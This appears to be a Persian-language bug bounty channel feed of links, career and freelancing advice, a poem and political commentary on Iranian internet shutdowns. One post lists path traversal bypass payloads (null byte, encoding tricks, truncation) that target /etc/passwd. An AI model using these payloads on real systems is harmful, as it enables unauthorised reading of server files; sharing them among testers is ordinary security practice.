https://www.instagram.com/stories/pentesterland/3997321928441502985?utm_source=ig_story_item_share&stkn=MTk5NGE2YXo0ZmdsNw==


یک رودمپ روانی و منتالی از زمانی که از کارمندی خارج شدم و پلن هایی که برا تک تک روزام داشتم و چیزایی که منجر به این شد که اسیب پذیری بزنم

رشته استوری هست عزیزان

https://bbscope.com/

so sexy 🔥

حقیقتا جذابترین بخشش برای من این بود چون اشتباهی که خیلیا انجام میدن اینه که برای آموزش اصلا نه وقت میزارن و نه هزینه میکنن و انتظار دارن جواب بسیار مطلوب بگیرن در صورتی که شما باید تا میتونی برای کارت هم خرج کنی و هم وقت بزاری هرچیزی که لازم هست رو به بهترین نحو ممکن یادبگیری این فرق فردی میشه که تو اون کار موفق میشه با کسی که بعد ۱ سال کار کردن از این کار کناره گیری میکنه

و در نهایت این طرز فکر مثل همیشه عالی و 20 بود👌

😁❤️جذابیت از خودته

اینم دیگه بابت انرژی مثبت هایی که بابت استوری صبح اومد:

قوانین پلتفرم و پروگرم میگه باید ۱۵۰۰ دلار بگیری؟
اینجا یادمیگیری تبدیلش کنی ۴۵۰۰$
تجربه واقعی (به صورت وویس)

https://www.instagram.com/stories/pentesterland/3997531707150325940?utm_source=ig_story_item_share&stkn=MTNlOGU2bzIzcmp3bw==

Path Traversal Bypasses

Null Byte Injection
../../../etc/./passwd%00.png

Stripped Dot-Dot-Slash
..././..././..././e../tc..//pas../swd

Multi-Stage Decoding
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd

Truncation Appending (4096 bytes)
../../../etc/./passwd/././././././

سلام حالت double url encode هم بهش اضافه شد.

کارمندی یا فریلسنری؟
تو وضعیت فعلی ایران متاسفانه فرقی نمیکنه چه مدل کارمندی باشیم در هرصورت به شدت از تورم جا میمونیم ولی این وسط یه سری توهم راجب فریلسنری بوجود میاد
فریلسنری مثل پریدن تو اب استخر کم عمق با دمای خوب نیست که همینجوری راحت بپری و چیزی نشه
فریلنسری مثل پریدن تو اقیانوسه
امادگی میخواد
برنامه میخواد
و اگر چیزایی که‌گفتم رو رعایت کنی میتونی از منابع اقیانوس استفاده کنی، فریلسنری با رویا فروشی و تنبلی تداخل جدی داره 😉

https://www.instagram.com/reel/Dd-2JSHuNXQ/?stkn=MXIybmJva29yc2ptaA==

می‌بینم، آن شکفتنِ شادی را
پروازِ بلند آدمیزادی را
آن جشنِ بزرگ روز آزادی را.
کیوان، خندان به سایه می‌گوید:
دیدی؟ به تو می‌گفتم! آری.
تو همیشه راست می‌گفتی.
می‌بینم.
می‌بینم.

خوب بود

https://sudistark.github.io/2025/07/02/idx.html

https://omespino.com/write-up-google-bug-bounty-xss-to-cloud-shell-instance-takeover-rce-as-root-5000-usd/

اینم بد نبود

کاری ندارم که چرا یه مقام رسمی باید بیاد بگه با گسترش استارلینک مجبور میشیم کلا برق رو قطع کنیم و هیچکس هیچی بهش نگفت...

دلیل این مسأله رو باید اونجایی جستجو کنیم که دیگه نه تمایلی برای تعامل با حاکمیت وجود داره نه دیگه انتقادی صورت میگیره...
این سکوت خیلی خیلی خیلی خطرناک تر از انتقاد و حتی اعتراضه، جای دیگه خودشو نشون میده بزودی...

اما با این کار دارم که نمی‌دونم کی واقعا به این سطح از وقاحت رسیدید شما که هر کاری دلتون میخواد دارید میکنید و واقعا خوشحالم که بزودی بساط این کنترل گری و به اصطلاح حکمرانی فضای مجازی حماقت آمیزتون جمع میشه...
و از اون بیشتر حتی از این خوشحالم که بساط کاسبی شما از رجیستری گوشی هم حتی بزودی جمع میشه و دیگه پول یامفت این مردم بیچاره تو حلقوم شماها نمیریزه🤲

پ.ن: یکی از مهم ترین دلایل ضعف امنیتی کشور رو باید در این فیلتراسیون بی سابقه و قطع دسترسی چکشی اینترنت و به طبع اون آپدیت نبودن نرم افزار ها و استفاده از اپ های غیر رسمی و وی پی ان و آلوده شدن به هزاران بد افزار و جاسوس افزار جستجو کرد...
اینجاست که باید با این سوال بنیادی رو به رو بشیم که...

آیا واقعا چه کسی یا کسانی باعث ناامنی و نبود امنیت ما شدن؟

#وقاحت
#قطعی_اینترنت

یادش بخیر یه زمانی یه پلتفرم درست کرده بودن به اسم 403.online برای دور زدن محدودیت و تحریم ها...

یه توصیه کوتاه میکنم ; دیگه نمیشه به باگ بانتی به یک حوزه ی نیچ نگاه کرد الان هرجایی میری اسمشو میشنوی قبلا روی تارگت رو هکروان دست میزاشتی ۳۰ تا باگ ولید ازش درمیوردی الان حتی باگکراد هم دوپلیکیت میخوری اگر میخوایید در آینده موفق باشین حتما دنبال حوزه ی خفن تر و بهتر باشین یا تو همین حوزه سعی کنین تاپ بمونین

شبیه ترید داره میشه و البته شده سیگنال امروز چیه😂

https://www.linkedin.com/feed/update/urn:li:activity:7512128428121251840/

اگه میخواید بدونید چرا وقتی تو ویندوز سرور لاگین میکنید Ctrl + Alt + Delete میزند اینو بخونید

Bug bounty in 2026